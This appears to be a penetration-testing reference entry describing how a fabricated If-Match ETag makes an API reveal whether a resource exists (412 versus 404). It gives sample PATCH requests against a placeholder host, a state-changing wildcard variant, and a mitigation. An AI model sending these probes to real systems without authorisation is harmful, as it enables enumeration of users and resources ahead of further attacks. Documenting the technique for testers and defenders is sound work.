Forcing 412 Precondition Failed

Mechanism: Per RFC 9110 §13.1.1, if the If-Match value doesn't match any current representation's ETag, the server MUST return 412. The server must locate the resource to compare ETags — if it finds it and the ETag doesn't match, 412; if the resource doesn't exist, 404.

Isolated Variable: Only the If-Match header is added with a fabricated ETag value.

Oracle Signal: 412 (exists) vs 404 (does not exist).

PATCH — Existing Resource

PATCH /api/users/1001 HTTP/1.1
Host: target.com
Content-Type: application/json
If-Match: "bogus-etag-value"
Content-Length: 16

{"name": "test"}

HTTP/1.1 412 Precondition Failed

PATCH — Non-Existing Resource

PATCH /api/users/9999 HTTP/1.1
Host: target.com
Content-Type: application/json
If-Match: "bogus-etag-value"
Content-Length: 16

{"name": "test"}

HTTP/1.1 404 Not Found

💡 Wildcard variant (If-Match: *): Sending If-Match: * inverts the signal. * matches any current representation, so an existing resource passes the precondition and the server attempts the operation. A non-existing resource returns 412. This gives a 2xx vs 412 differential — also an oracle, but one where the successful branch actually mutates state. Use the fabricated-ETag approach to avoid unintended writes.

Mitigation: Return 404 for non-existent resources before evaluating precondition headers.